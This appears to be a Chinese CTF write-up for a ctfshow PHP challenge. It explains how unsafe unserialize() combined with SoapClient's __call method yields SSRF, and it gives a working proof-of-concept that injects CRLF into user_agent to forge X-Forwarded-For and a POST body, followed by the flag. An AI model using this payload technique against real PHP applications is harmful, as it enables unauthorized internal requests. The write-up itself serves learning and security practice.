PHP/7.3.11SSRFCRLFSoapClient
index.php
<?php
highlight_file(__FILE__);
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();
flag.php (大概如下
<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
分析:
不就 XFF伪造?
估计给的代码是不完整的,还真实 IP 判断,估计大概是这样的
<?php
$flag = "flag_tari";
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);
if($_SERVER['REMOTE_ADDR']==='127.0.0.1'){
if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}
}
echo "your ip not 127.0.0.1";
搜了一波,奇怪的知识增加了,除了XFF,本题还用到 SSRF(SoapClient)+CRLF组合拳,毕竟我们的 index.php 还有用到呢
需要利用 SSRF 访问 flag.php 并构造 XFF 和 POST 数据,SSRF漏洞在哪呢?
SoapClient类 __call
魔术方法
__call() 魔术方法:当调用一个类不存在的方法时候会触发这个魔术方法
当调用 SoapClient 类的 __call() 魔术方法的时候,会发送一个 POST 请求,请求的参数由着 SoapClient 类的一些参数决定。
因此,当我们运行 index.php
的 $vip->getFlag();
方法时,会因 SoapClient
不存在 getFlag
方法而调用 __call()
魔术方法,进而发送一个 POST 请求
poc
<?php
$post_string = 'token=ctfshow';
$soap = new SoapClient(
null,
array(
'uri'=> "http://127.0.0.1/flag.php",
'location' => 'http://127.0.0.1/flag.php',
'user_agent'=>"edge\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded"."\r\nContent-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string,
// 'user_agent'=>"edge\x0D\x0AX-Forwarded-For:127.0.0.1,127.0.0.1\x0D\x0AContent-Type: application/x-www-form-urlencoded"."\x0D\x0AContent-Length: ".(string)strlen($post_string)."\x0D\x0A\x0D\x0A".$post_string,
)
);
echo(urlencode(serialize($soap)));
?>
这里注意下,包含特殊字符转义的,比如 \r\n
要用双引号 "
单引号保持原来的语义的。
warning 没关系
flag
ctfshow{36fb528e-4d82-4aaf-9bf6-117955a09b39}